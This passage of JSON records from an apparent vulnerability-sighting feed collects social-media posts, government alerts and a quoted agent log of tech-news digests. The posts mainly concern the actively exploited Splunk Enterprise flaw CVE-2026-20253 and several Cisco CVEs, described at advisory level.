"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/6776075", "content": "2026-06-18: [CVE-2026-20253] Splunk Enterprise Missing Authentication for Critical Function VulnerabilitySplunk Enterprise contains a missing authentication for critical function vulnerability which could allow an unauthenticated user to create or truncate arbitrary files through a PostgreSQL sidecar service endpoint.\ncisakev", "creation_timestamp": "2026-06-18T17:15:15.352241Z"}, {"uuid": "0b1558dd-a1a6-4f8e-bb91-fb39831e23ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://www.cisa.gov/news-events/alerts/2026/06/18/cisa-adds-one-known-exploited-vulnerability-catalog", "content": "", "creation_timestamp": "2026-06-18T05:00:00.000000Z"}, {"uuid": "bc205012-396a-4167-9e3f-c66f0d32d08d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3molhob7yb62e", "content": "\ud83d\udcc8 CVE-2026-20963\nMicrosoft SharePoint\nCVSS 9.8 / EPSS 31% / KEV \u2705\nTL;DR: Deserialization of untrusted data in Microsoft Office SharePoint allows an unauthorized\u2026\nhttps://cvesentinel.com/report/CVE-2026-20963?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-06-18T18:33:10.640398Z"}, {"uuid": "948fa882-e2e6-493c-ad50-0fb4725bf034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116772767106723494", "content": "\ud83d\udcf0 Cisco Patches Critical RCE Flaw (CVE-2026-20181) in ISE with 9.1 CVSS Score\n\ud83d\udea8 CRITICAL PATCH: Cisco fixes a 9.1 CVSS command execution flaw (CVE-2026-20181) in its ISE network access control product. Authenticated admins can get root. Patch immediately, as no workarounds exist! #CyberSecurity #Cisco #Vulnerability\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisco-patches-critical-command-execution-flaw-in-ise/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-06-18T19:30:29.028141Z"}, {"uuid": "5a081147-5f4f-4de1-ae90-e87a8f471c0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20266", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116772767712875970", "content": "\ud83d\udcf0 Atlassian and Splunk Push Critical Patches for RCE and Dependency Flaws\nPATCH NOW \ud83d\udea8: Splunk & Atlassian drop critical security updates. Splunk AI Toolkit has a 9.1 CVSS RCE flaw (CVE-2026-20266). Atlassian fixes ~100 dependency bugs in Jira, Confluence & more. #CyberSecurity #Vulnerability #PatchTuesday\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/atlassian-and-splunk-release-patches-for-critical-vulnerabilities/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-06-18T19:30:46.445479Z"}, {"uuid": "d36344dc-bc86-45eb-9fc9-c7692c66ab13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3molkvdnl6n2h", "content": "\ud83d\udea8 CRITICAL PATCH: Cisco fixes a 9.1 CVSS command execution flaw (CVE-2026-20181) in its ISE network access control product. Authenticated admins can get root. Patch immediately, as no workarounds exist! #CyberSecurity #Cisco #Vulnerability\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-06-18T19:30:49.578498Z"}, {"uuid": "743d5091-817c-44b1-96b6-a83bd140ef6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20266", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3molkvphoiz25", "content": "PATCH NOW \ud83d\udea8: Splunk & Atlassian drop critical security updates. Splunk AI Toolkit has a 9.1 CVSS RCE flaw (CVE-2026-20266). Atlassian fixes ~100 dependency bugs in Jira, Confluence & more. #CyberSecurity #Vulnerability #PatchTuesday\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-06-18T19:31:03.121721Z"}, {"uuid": "54e45ec5-c00d-4a50-b79f-24294984e312", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3molmiiqkgk2q", "content": "Cisco\u304c\u30bb\u30ad\u30e5\u30a2\u30ef\u30fc\u30af\u30ed\u30fc\u30c9\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u3092\u4fee\u6b63\n\nCVE-2026-20223\uff08CVSS\u30b9\u30b3\u30a210/10\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u8106\u5f31\u6027\u306f\u3001REST API\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u306b\u304a\u3051\u308b\u691c\u8a3c\u3068\u8a8d\u8a3c\u306e\u4e0d\u5099\u306b\u8d77\u56e0\u3057\u3066\u3044\u307e\u3059\u3002\n\n\u300c\u653b\u6483\u8005\u306f\u3001\u7d30\u5de5\u3055\u308c\u305fAPI\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u306b\u9001\u4fe1\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308c\u3070\u3001\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u300d\u3068\u30b7\u30b9\u30b3\u306f\u52e7\u544a\u306e\u4e2d\u3067\u8ff0\u3079\u3066\u3044\u308b\u3002\n\n\u3053\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u3092\u60aa\u7528\u3059\u308b\u3053\u3068\u306b\u6210\u529f\u3059\u308b\u3068\u3001\u653b\u6483\u8005\u306f\u30b5\u30a4\u30c8\u7ba1\u7406\u8005\u6a29\u9650\u3067\u3001\u30c6\u30ca\u30f3\u30c8\u306e\u5883\u754c\u3092\u8d8a\u3048\u3066\u6a5f\u5bc6\u60c5\u5831\u3092\u8aad\u307f\u53d6\u3063\u305f\u308a\u3001\u8a2d\u5b9a\u3092\u5909\u66f4\u3057\u305f\u308a\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002", "creation_timestamp": "2026-06-18T19:59:27.930845Z"}, {"uuid": "6e6ed306-0a40-4908-a386-27d7beaabea9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3molmorsh722q", "content": "Cisco\u306fSecure Workload\u306b\u304a\u3051\u308b\u6700\u5927\u6df1\u523b\u5ea6\u306e\u8106\u5f31\u6027CVE-2026-20223\u3092\u4fee\u6b63\u3057\u307e\u3057\u305f\u3002\n\nCisco\u306f\u3001Secure Workload\u306b\u304a\u3051\u308b\u91cd\u5927\u306a\u8106\u5f31\u6027\uff08CVE-2026-20223\u3001CVSS\u30b9\u30b3\u30a210.0\uff09\u306b\u5bfe\u3059\u308b\u30d1\u30c3\u30c1\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u306f\u3001REST API\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u306b\u304a\u3051\u308b\u691c\u8a3c\u3068\u8a8d\u8a3c\u306e\u4e0d\u5099\u306b\u8d77\u56e0\u3057\u307e\u3059\u3002Cisco\u306b\u3088\u308b\u3068\u3001\u30ea\u30e2\u30fc\u30c8\u653b\u6483\u8005\u306f\u7d30\u5de5\u3055\u308c\u305fAPI\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3059\u308b\u3053\u3068\u3067\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3001\u30b5\u30a4\u30c8\u30ea\u30bd\u30fc\u30b9\u3078\u306e\u30a2\u30af\u30bb\u30b9\u6a29\u3092\u6301\u3064\u30b5\u30a4\u30c8\u7ba1\u7406\u8005\u6a29\u9650\u3092\u53d6\u5f97\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3068\u306e\u3053\u3068\u3067\u3059\u3002\n\n\u300cCisco Secure Workload\u306e\u5185\u90e8RE...", "creation_timestamp": "2026-06-18T20:02:58.525642Z"}, {"uuid": "bcbeca3d-b13f-4f16-8309-8c93f3646032", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3moln5azk6w2v", "content": "~Cisa~\nCISA added CVE-2026-20253, a Splunk Enterprise missing authentication flaw, to its KEV catalog due to active exploitation.\n-\nIOCs: CVE-2026-20253\n-\n#CVE202620253 #Splunk #threatintel", "creation_timestamp": "2026-06-18T20:11:02.354155Z"}, {"uuid": "503f7522-6ce3-424b-9471-4c1f08db400f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/splunk-security-advisory-av26-586", "content": "", "creation_timestamp": "2026-06-18T10:15:42.000000Z"}, {"uuid": "e014d5c8-6626-4a19-bf84-dbfcc1dd0c46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20253", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3moltar6p6d2g", "content": "\ud83d\udce2 CVE-2026-20253 : RCE pr\u00e9-authentifi\u00e9e dans Splunk Enterprise via le service PostgreSQL Sidecar\n\ud83d\udcdd ## \ud83d\udd0d Contexte\n\nLe 12 juin 2026, watch\u2026\nhttps://cyberveille.ch/posts/2026-06-18-cve-2026-20253-rce-pre-authentifiee-dans-splunk-enterprise-via-le-service-postgresql-sidecar/ #CVE_2026_20253 #Cyberveille", "creation_timestamp": "2026-06-18T22:00:25.197145Z"}, {"uuid": "ba3bd0a2-6560-4c07-b6b6-a92aadc067d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/PostgreSQL.activitypub.awakari.com.ap.brid.gy/post/3molutkh4zlb2", "content": "Why Use App-Level Auth When Every Database Has Auth? (Splunk Enterprise CVE-2026-20253 Pre-Auth RCE) Three posts? In three days? Are we insane? We're home alone, there's no one to stop us, ...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-18T22:28:49.238043Z"}, {"uuid": "fa49465b-ad65-49dc-8acd-be17cdcb1838", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mom3hulikz2p", "content": "CISA\u304c\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30921\u4ef6\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0 \n\nCISA Adds One Known Exploited Vulnerability to Catalog  #CISA (Jun 18)\n\nCVE-2026-20253 Splunk Enterprise\u306b\u304a\u3051\u308b\u91cd\u8981\u6a5f\u80fd\u306e\u8a8d\u8a3c\u6b20\u843d\u306e\u8106\u5f31\u6027 \n\nwww.cisa.gov/news-events/...", "creation_timestamp": "2026-06-19T00:27:30.862281Z"}, {"uuid": "090d9f34-da68-457d-be45-47b5fb186798", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3momkdkoqbn25", "content": "CVE-2026-20253 in Splunk Enterprise enables unauthenticated attackers to perform arbitrary file operations and can lead to remote code execution; patch immediately.\n", "creation_timestamp": "2026-06-19T04:53:32.694563Z"}, {"uuid": "9ddcfe71-93c5-4c9f-b169-1557f0873c70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3moms5pqrrc52", "content": "Splunk Enterprise Vulnerability Exploited in Attacks Days After Disclosure CISA has given federal agencies only three days to patch CVE-2026-20253, which can be exploited for unauthenticated remote...\n\n#Vulnerabilities #CISA #KEV #exploited #Featured #Splunk #vulnerability\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-19T07:13:32.397387Z"}, {"uuid": "979ed52b-2f89-4b3b-bb8a-29e67f278f4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3momtwmmw2k2l", "content": "Splunk 10.x bundles a PostgreSQL sidecar for its KVStore. On AWS it is on by default, and CVE-2026-20253 turns it into unauthenticated RCE, CVSS 9.8. Now on CISA KEV with a 3-day deadline. Patch to 10.0.7 / 10.2.4.\n\n#CVE #Detection #CISAKEV", "creation_timestamp": "2026-06-19T07:45:16.365266Z"}, {"uuid": "bc7b520d-cb55-4857-a4e2-12e8473e3e27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://infosec.exchange/users/tomcat/statuses/116775687988565075", "content": "This Splunk flaw is no longer just theoretical.\nSplunk says it is aware of limited exploitation of CVE-2026-20253.\nCISA has added it to KEV, giving federal agencies until June 21, 2026 to patch.\nUpgrade now.\nRead the update: https://thehackernews.com/2026/06/critical-splunk-enterprise-flaw-lets.html", "creation_timestamp": "2026-06-19T07:53:11.543277Z"}, {"uuid": "fe04215f-43c8-4764-95ef-02c75b0b7cd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3momwlkku362g", "content": "ACTIVE THREAT: CVE-2026-20253 Splunk Enterprise vulnerability is being exploited in the wild. Our latest TSUITE Brief provides a full SQL injection defense playbook, including n8n automation triggers for your SOC. Secure your infrastructure now. https://thecybermind.co/2yn5\n\n#Cybersecurity #Splunk\u2026", "creation_timestamp": "2026-06-19T08:32:46.249032Z"}, {"uuid": "a4683c8b-8de4-4ea5-ba3b-6e2d14de926f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3momx27emgl2b", "content": "CISA\u304c\u60aa\u7528\u78ba\u8a8d\u6e08\u307f\u306eSplunk Enterprise\u91cd\u5927\u8106\u5f31\u6027\u306b\u95a2\u3059\u308b\u7dca\u6025\u8b66\u544a\u3092\u767a\u4ee4\n\nCISA\u306f\u3001Splunk Enterprise\u306b\u5b58\u5728\u3059\u308b\u91cd\u5927\u306a\u8106\u5f31\u6027 CVE-2026-20253 \u306b\u3064\u3044\u3066\u3001\u7a4d\u6975\u7684\u306a\u60aa\u7528\u306e\u8a3c\u62e0\u304c\u78ba\u8a8d\u3055\u308c\u305f\u3068\u3057\u3066\u65e2\u77e5\u306e\u60aa\u7528\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u3078\u306e\u63b2\u8f09\u3092\u884c\u3044\u3001\u7dca\u6025\u8b66\u544a\u3092\u767a\u4ee4\u3057\u307e\u3057\u305f\u3002 \u3053\u306e\u8106\u5f31\u6027\u306fCWE-306\uff08\u91cd\u8981\u306a\u6a5f\u80fd\u306b\u5bfe\u3059\u308b\u8a8d\u8a3c\u306e\u6b20\u5982\uff09\u306b\u5206\u985e\u3055\u308c\u3066\u304a\u308a\u3001PostgreSQL", "creation_timestamp": "2026-06-19T08:40:57.175870Z"}, {"uuid": "d5717988-486d-4a76-83be-759731c8eeea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "Telegram/c0KQoy5YT0OWwFwE8jLZ9eVMIjsmex1pNRLme_eVcA7lwQ", "content": "", "creation_timestamp": "2026-06-13T16:01:07.000000Z"}, {"uuid": "03afdc14-e386-4731-892f-6387f1f9c53a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "Telegram/GOLEyGXnsyb9RqVw5DIdSo5NduCZD1IHvqw3gjAPolcnKg", "content": "", "creation_timestamp": "2026-06-16T07:10:10.000000Z"}, {"uuid": "60250055-7922-42c4-bdd4-e61a6948c651", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3momyxamzln22", "content": "CISA warns of active exploitation of CVE-2026-20253 in Splunk Enterprise; immediate patching is crucial to prevent system compromise. #CISA #Splunk #CyberSecurity #Vulnerability thedailytechfeed.com/cisa-alerts-...", "creation_timestamp": "2026-06-19T09:15:06.032931Z"}, {"uuid": "0af4aefa-23db-4baa-8cc1-21e3aa97601d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "published-proof-of-concept", "source": "Telegram/cFwSQ27uOrqZ96YGVM-ku7YiP0UftFdUhE6IZpDdkcLlq7k", "content": "", "creation_timestamp": "2026-06-13T03:00:05.000000Z"}, {"uuid": "3830422f-3897-4f04-a18e-a218982967a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "published-proof-of-concept", "source": "Telegram/RH2s8PeGGVhZpVJAgPxAefdwgWbZ17CHKO_8EzHYAqSoEvM", "content": "", "creation_timestamp": "2026-06-12T23:00:21.000000Z"}, {"uuid": "c8da695f-ae43-4afa-bf12-6537162f3a03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/RH2s8PeGGVhZpVJAgPxAefdwgWbZ17CHKO_8EzHYAqSoEvM", "content": "", "creation_timestamp": "2026-06-12T23:00:21.000000Z"}, {"uuid": "87213d7d-a187-46e0-a178-94968068cbbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/g-Z01IQljSKSjycu0WnJBuxLXeYVz0YiUnLdjB6TXPfiBRA", "content": "", "creation_timestamp": "2026-06-13T21:00:04.000000Z"}, {"uuid": "ca7c2b8f-abee-41ee-8a76-0c9c26f776d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "published-proof-of-concept", "source": "Telegram/vutlEkkKb9qIgYOqF4-LP04R3ngybqm9kGYUg8WL0zG7ih0", "content": "", "creation_timestamp": "2026-06-10T21:00:04.000000Z"}, {"uuid": "8ba511cd-5e94-429c-b5d4-f36d3f704a7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mon52ef2vl2e", "content": "credentials\n\nstored on affected systems immediately.\n\n6. **Cisco Catalyst SD-WAN Manager Zero-Day (CVE-2026-20262) Exploited in the Wild**\n   Attackers with write access can escalate to root via crafted HTTP requests on Cisco Catalyst SD-WAN Manager. CISA has", "creation_timestamp": "2026-06-19T10:28:24.757172Z"}, {"uuid": "a37e1677-3b22-4a9a-9dcf-0dbf13ef3a51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mon5azdvoz2a", "content": "credentials\n\nstored on affected systems immediately.\n\n6. **Cisco Catalyst SD-WAN Manager Zero-Day (CVE-2026-20262) Exploited in the Wild**\n   Attackers with write access can escalate to root via crafted HTTP requests on Cisco Catalyst SD-WAN Manager. CISA has", "creation_timestamp": "2026-06-19T10:32:07.999439Z"}, {"uuid": "10eed068-2083-402e-b657-ee26601fad68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://gist.github.com/jenishkumar88/42c3e651b1bb12d24aef3fdffd7a31fc", "content": "> - Ran `python collect_repeat_candidates.py`\n>\n> - Wrote `./collect_repeat_candidates.py` (+1 -1)\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.list_chat_messages\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"top\": 100\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"messages\": [\n>     {\n>       \"message_id\": \"1781862571753\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781862571753\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026\\n\\nReviewed 90 articles published June 12\u201319 across official feeds, Google News,\\nHacker News and major technology publications. Earlier ChatReview events were\\nexcluded.\\n\\n  1. **[AutoJack shows how one malicious page can reach an AI agent host](https://www.microsoft.com/en-us/security/blog/2026/06/18/autojack-single-page-rce-host-running-ai-agent/)** \u2014 **Score: 34/35.** Microsoft showed how untrusted page content could reach a local MCP socket and execute processes in AutoGen Studio. Fixed upstream; PyPI releases were not exposed.\\n  2. **[AWS Security Agent adds threat modeling and coding-agent integrations](https://aws.amazon.com/blogs/aws/aws-security-agent-adds-threat-modeling-kiro-power-and-claude-code-plugin-and-more/)** \u2014 **Score: 34/35.** Adds STRIDE threat modeling, repo/PR scanning with remediation, plus Kiro, Claude Code and MCP integrations\u2014bringing security reviews into developer workflows.\\n  3. **[Cloudflare launches agent-powered Zero Trust deployment stack](https://blog.cloudflare.com/cloudflare-one-stack/)** \u2014 **Score: 34/35.** A library of agent skills can plan, deploy and manage Zero Trust environments, turning network and security migration into an agent-assisted workflow.\\n  4. **[OpenAI simulates deployment to predict model behavior before release](https://openai.com/index/deployment-simulation)** \u2014 **Score: 33/35.** Deployment Simulation privately replays prior conversations against candidate models to predict real-world misbehavior, including agentic tool-use rollouts.\\n  5. **[Amazon Bedrock AgentCore adds managed web search](https://aws.amazon.com/blogs/aws/announcing-web-search-on-amazon-bedrock-agentcore-ground-your-ai-agents-in-current-accurate-web-knowledge/)** \u2014 **Score: 33/35.** AgentCore now offers MCP-based web search with citations and zero customer-data egress, reducing the infrastructure needed to build grounded agents.\\n  6. **[Mastra npm compromise poisoned more than 140 packages](https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/)** \u2014 **Score: 32/35.** Postinstall malware could hit developer machines and CI/CD pipelines before the compromised Mastra packages were removed and publishing access revoked.\\n  7. **[Google pushes its AI chips as a broader Nvidia rival](https://www.wsj.com/tech/ai/google-is-using-nvidias-playbook-to-build-a-rival-ai-chip-business-1eac86f9)** \u2014 **Score: 32/35.** Google is using its cloud reach and years of accelerator development to court external customers and build a larger rival AI-chip business.\\n  8. **[Amazon explores selling Trainium chips outside AWS](https://techcrunch.com/2026/06/18/amazon-hopes-to-challenge-nvidia-more-directly-by-selling-its-ai-chips/)** \u2014 **Score: 32/35.** AWS is in early talks to sell Trainium to outside data centers, signaling a direct challenge to Nvidia and a new AI-infrastructure business.\\n  9. **[AWS WAF lets publishers charge AI bots at the edge](https://aws.amazon.com/blogs/aws/aws-waf-adds-ai-traffic-monetization-capability-to-help-content-owners-charge-ai-bots-for-content-access/)** \u2014 **Score: 32/35.** AWS WAF can meter and charge verified AI bots per request using x402 settlement\u2014a notable new commercial model for publisher and agent access.\\n  10. **[Cloudflare publishes its AI-assisted vulnerability harness](https://blog.cloudflare.com/build-your-own-vulnerability-harness/)** \u2014 **Score: 32/35.** Cloudflare detailed a multi-stage discovery and triage system designed to manage state, false positives and model context limits during security research.\\n  11. **[GitHub Copilot code review now follows AGENTS.md](https://github.blog/changelog/2026-06-18-copilot-code-review-agents-md-support-and-ui-improvements)** \u2014 **Score: 32/35.** Copilot code review now reads repository-level AGENTS.md instructions and is easier to request on draft pull requests; the changes are generally available.\\n  12. **[GitHub Actions gets safer pull_request_target defaults](https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout)** \u2014 **Score: 31/35.** actions/checkout v7 reduces \u201cpwn request\u201d risk, where unreviewed fork code can run with repository secrets and elevated GITHUB_TOKEN permissions.\\n  13. **[MAI-Code-1-Flash expands across GitHub Copilot](https://github.blog/changelog/2026-06-18-mai-code-1-flash-available-on-more-copilot-surfaces/)** \u2014 **Score: 31/35.** Microsoft\u2019s small coding model is rolling out across Copilot CLI, GitHub, VS Code and mobile, with Business and Enterprise access planned.\\n  14. **[OpenAI adds enterprise usage analytics and spend controls](https://openai.com/index/chatgpt-enterprise-spend-controls)** \u2014 **Score: 31/35.** ChatGPT Enterprise adds unified ChatGPT/Codex credit analytics plus workspace, group and user limits to make AI rollout costs more governable.\\n  15. **[Critical Splunk flaw is exploited days after disclosure](https://www.securityweek.com/splunk-enterprise-vulnerability-exploited-in-attacks-days-after-disclosure/)** \u2014 **Score: 30/35.** CVE-2026-20253 was exploited days after disclosure; CISA gave agencies three days to patch the unauthenticated file-operation flaw.\",\n>       \"created_at\": \"2026-06-19T09:49:31.753Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781693002738\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781693002738\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 2/10\\n\\nSecond repeat pass. Previously posted same-event stories were filtered out.\\n\\n  1. **[Oracle warns PeopleSoft customers after mass exploitation](https://www.techradar.com/pro/security/oracle-warns-customers-of-critical-peoplesoft-attack-after-hundreds-of-servers-hacked-by-apparent-shinyhunters-data-theft-attacks)** \\\\- Score: 31/35. CVE-2026-35273 was reportedly exploited as a 